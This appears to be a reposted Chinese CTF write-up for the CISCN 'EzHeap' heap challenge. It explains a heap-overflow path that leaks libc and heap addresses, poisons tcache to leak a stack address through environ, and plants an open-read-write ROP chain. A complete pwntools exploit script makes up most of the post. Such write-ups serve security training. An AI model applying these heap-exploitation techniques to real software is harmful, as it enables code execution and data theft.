CISCN --EzHeap

news2024/10/5 9:11:55

当时有点着急了,这题没写出来,结束后在ctfshow上做了一下。

使用的方法是environ泄露栈地址,然后在栈上构造orw的rop链。

以下是过程:

只能orw。

堆体开沙盒模式会在heap和bin一开始构造很多垃圾堆。所以分配和free的时候要注意原本heap和bin中的情况 。

我观察了一下,在malloc_cosolidate后,最大的free_chunk是0x1a0,所以我采用0x200的chunk,这样就不会被影响。

不能uaf 

edit可以自定义大小 。

思路清晰了,将下一个0x420大小的chunk给free掉,这样fd段就是usbin地址,然后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了。同时如果下一个chunk是tcachebin,也能用edit修改它的fd,或者泄露堆地址。

所以,整体就是:泄露libc基址--->计算出environ地址-->泄露堆地址--->覆盖fd-->分配到environ-0x200的位置-->泄露栈地址-->覆盖fd-->分配到栈上-->写入rop链

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./EzHeap')
libc=ELF('./libc.so.6')
#io=remote('node5.buuoj.cn',27949)
io=process('./EzHeap')
#io=remote('61.147.171.105',54043)
io=remote('pwn.challenge.ctf.show',28124)

def add(size,content):
    io.recvuntil(b"choice >> ")
    io.sendline(b'1')
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'2')
    io.recvuntil(b"idx:\n")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'4')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"content:")

def edit(idx,size,content) :
    io.recvuntil(b"choice >> ")
    io.sendline(b'3')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)


for i in range(8):
    add(0xe0,b'aa')
#gdb.attach(io)
#pause()
add(0x200,b'a')#8
add(0x410,b'a')#9
add(0x200,b'a')#10
#gdb.attach(io)
#pause()
delete(9)
edit(8,0x210,b'a'*0x20f+b'b')
show(8)
io.recvuntil(b'b')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print('libc_base:',hex(libc_base))
#gdb.attach(io)
#pause()
environ=libc_base+libc.sym['environ']
print('environ:',hex(environ))
edit(8,0x210,b'a'*0x200+p64(0)+p64(0x421))
add(0x410,b'a')#9
add(0x200,b'a')#11
add(0x200,b'a')#12
delete(12)
#gdb.attach(io)
#pause()
#leak heap addr
edit(11,0x210,b'a'*0x20f+b'b')
show(11)
io.recvuntil(b'b')
hee=u64(io.recv(5).ljust(8,b'\x00'))
heap_base=hee*0x1000
print('heap_base:',hex(heap_base))
#gdb.attach(io)
#pause()
my_addr=heap_base+0xd50
edit(11,0x210,b'a'*0x200+p64(0)+p64(0x211))
delete(11)
fake_fd=(heap_base>>12)^(environ-0x200)
edit(10,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
add(0x200,b'a')#11
add(0x200,b'a'*0x1ff+b'b')#12
show(12)
io.recvuntil(b'b')
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))
#gdb.attach(io)
#pause()
ret_addr=stack-0x170
print('ret_addr:',hex(ret_addr))
ret=libc_base+0x29139 
rax=libc_base+0x45eb0
rdi=libc_base+0x2a3e5
rsi=libc_base+0x2be51
rdx_rbx=libc_base+0x11f2e7
syscall=libc_base+0x91316
#gdb.attach(io)
#pause()
add(0x200,b'a')#13
add(0x200,b'a')#14
add(0x200,b'a')#15
delete(15)
delete(14)
heap_base+=0x1000
fake_fd=(heap_base>>12)^(ret_addr-0x8)
edit(13,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
#gdb.attach(io)
#pause()
add(0x200,b'a')
#gdb.attach(io)
#pause()
payload=p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(ret_addr+0xd8)+p64(rsi)+p64(0)+p64(syscall)+p64(rax)+p64(0)+p64(rdi)
payload+=p64(3)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)+b'/ctfshow_flag\x00'
add(0x200,payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1711903.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1806 jsp防疫物资销售管理系统 Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 jsp 防疫物资销售管理系统 是一套完善的web设计系统,对理解JSP java编程开发语言有帮助采用了java设计,系统具有完整的源代码和数据库,系统采用web模式,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.…

Ps:消失点滤镜 - 透视平面和网格

Ps菜单:滤镜/消失点 Filter/Vanishing Point 快捷键:Ctrl Alt V “消失点”滤镜中的透视平面 Plane和网格 Grid用于在编辑图像时保持正确的透视效果。 只有定义了与图像透视对齐的矩形平面,才能在消失点中进行编辑。平面的精确度确定了能否…

[自动驾驶技术]-5 Tesla自动驾驶方案之算法(AI Day 2021)

有朋友问我,如何有效学习一个新技术。笔者这么多年的经验是:1)了解国内外产业应用和标准法规现状,先建立宏观知识图谱及技术系统框架;2)根据系统框架逐块进行深入研究(横向、纵向)&a…

【LLM第7篇】transformer跟bert、gpt、大模型的联系

上一篇讲了transformer的原理,接下来,看看它的衍生物们。 Transformer基本架构 Transformer模型主要由两部分组成:编码器(Encoder)和解码器(Decoder)。编码器负责处理输入序列,将其…

正邦科技(day2)

自动校准 问题:电量不准都可以直接去校准 校准方式:可程式变频电压 问题分析:他是通过软件去自动自动校准的,flash 清空的时候有缓存没有清空,或者互感器没有读取到问题 互感器:电流互感器的作用包括电流测…

2024年5月份架构师考试真题完整版

截至2024-5-28 19:24:14已全部收录完成 共75到选择题,5道案例题,4道论文题。题目顺序不分先后。 全网最全的2024年5月份架构师考试真题回忆版,包含答案和解析。 群友 疯狂程序员 花落无声 半夏 鲁迅-三战老兵(预备役) 本次必成 锦鲤附体 2024…

LabVIEW车轮动平衡检测系统

LabVIEW车轮动平衡检测系统 随着汽车行业的快速发展,车轮动平衡问题对乘坐舒适性、操控稳定性及安全性的影响日益凸显,成为了提高汽车性能的一个关键环节。传统的检测系统因精度低、成本高、操作复杂等问题,难以满足现代汽车行业的需求。开发…

100个 Unity小游戏系列四 -Unity 抽奖游戏专题二 水果机游戏

一、演示效果 二、知识点 2.1 布局 private void CreateItems(){for (int i 0; i < rewardDatas.Length; i){var reward_data rewardDatas[i];GameObject fruitOjb;if (i < itemRoot.childCount){fruitOjb itemRoot.GetChild(i).gameObject;}else{fruitOjb Instant…

C++数据结构之:链List

摘要&#xff1a; it人员无论是使用哪种高级语言开发东东&#xff0c;想要更高效有层次的开发程序的话都躲不开三件套&#xff1a;数据结构&#xff0c;算法和设计模式。数据结构是相互之间存在一种或多种特定关系的数据元素的集合&#xff0c;即带“结构”的数据元素的集合&am…

如何恢复已删除/丢失或未保存的 PDF 文件?

许多用户曾因某些问题删除或丢失 PDF 文件。此外&#xff0c;一些用户在关闭应用程序时未保存 PDF 文件&#xff0c;从而丢失 PDF 文件。您可以尝试一些解决方案来恢复已删除的 PDF 文件、恢复未保存的 PDF 文件&#xff0c;以及在任何其他数据丢失情况下挽救丢失的 PDF 文件。…

汇编原理(四)[BX]和loop指令

loop&#xff1a;循环 误区&#xff1a;在编译器里写代码和在debug里写代码是不一样的&#xff0c;此时&#xff0c;对于编译器来说&#xff0c;就需要用到[bx] [bx]: [bx]同样表示一个内存单元&#xff0c;他的偏移地址在bx中&#xff0c;比如下面的指令 move bx, 0 move ax,…

学习笔记——数据通信基础——数据通信网络(基本概念)

数据通信网络基本概念 网络通信&#xff1a;是指终端设备之间通过计算机网络进行的通信。 数据通信网络(Data Communication Network)&#xff1a;由 路由器、交换机、防火墙、无线控制器、无线接入点&#xff0c;以及个人电脑、网络打印机&#xff0c;服务器等设备构成的通信…

Spring Boot集成freemaker快速入门demo

1.什么是freemaker&#xff1f; FreeMarker 是一款模板引擎&#xff1a;即一种基于模板和要改变的数据&#xff0c;并用来生成输出文本(HTML网页&#xff0c;电子邮件&#xff0c;配置文件&#xff0c;源代码等)的通用工具。 它不是面向最终用户的&#xff0c;而是一个Java类库…

【学习心得】PyTorch的知识要点复习(持续更新)

PyTorch知识要点复习&#xff0c;目的是为了巩固PyTorch基础、快速回顾、深化理解PyTorch框架。这篇文章会持续更新。 一、本文的一些说明 知识点梳理&#xff1a;我将PyTorch的核心概念和高级技巧进行了系统化的整理&#xff0c;从基础的张量操作到复杂的模型构建与训练。这样…

HR人才测评,想象力维度分析(大五人格测试)

想象力维度&#xff08;高得分者&#xff09;性格特征 开放性人格的人通常富有想象力。想象力是一种可贵的天赋&#xff0c;通常在孩童时期人们都会充满想象力&#xff0c;但是随着渐渐长大&#xff0c;我们的想象力也会被时光的棱角磨平。 但开放性人格的人并非如此&#x…

Windows下PostgreSQL数据库的备份与恢复

文章目录 一、备份1.找到PostgreSQL的安装目录下的"bin"目录2.在windows的命令窗口里&#xff0c;使用pg_dump进行备份1.打开命令窗口2.使用pg_dump将数据库备份下来 二、恢复1.找到PostgreSQL的安装目录下的"bin"目录2.在windows的命令窗口里&#xff0c;…

2007NOIP普及组真题 4. Hanoi双塔问题

线上OJ&#xff1a; 【07NOIP普及组】Hanoi双塔问题 题解分析 1、本题考的其实不是Hanoi塔&#xff0c;而是瞪眼法&#xff08;数学推导&#xff09;和高精度。 2、本题不需要输出移动的顺序&#xff0c;只是输出移动的次数即可。 核心思想&#xff1a; 1、从上述图中&#x…

.NET 某和OA办公系统全局绕过漏洞分析

转自先知社区 作者&#xff1a;dot.Net安全矩阵 原文链接&#xff1a;.NET 某和OA办公系统全局绕过漏洞分析 - 先知社区 0x01 前言 某和OA协同办公管理系统C6软件共有20多个应用模块&#xff0c;160多个应用子模块&#xff0c;从功能型的协同办公平台上升到管理型协同管理平…

Next-Admin,一款基于Nextjs开发的开箱即用的中后台管理系统(全剧终)

hello&#xff0c;大家好&#xff0c;我是徐小夕。之前和大家分享了很多可视化&#xff0c;零代码和前端工程化的最佳实践&#xff0c;今天继续分享一下最近开源的 Next-Admin 项目的最新更新。 这次更新是1.0版本最后一次更新&#xff0c;也根据用户反馈的问题做了一些优化&am…

uniapp开发微信小程序:用户手机号授权获取全流程详解与实战示例

随着多端小程序研发工具的日益普及&#xff0c;诸如uniapp、Taro、Flutter等跨平台解决方案使得开发者能够高效地构建同时适配多个主流小程序平台&#xff08;如微信、支付宝、百度、字节跳动等&#xff09;的应用。尽管各平台间存在一定的差异性&#xff0c;但在获取用户手机号…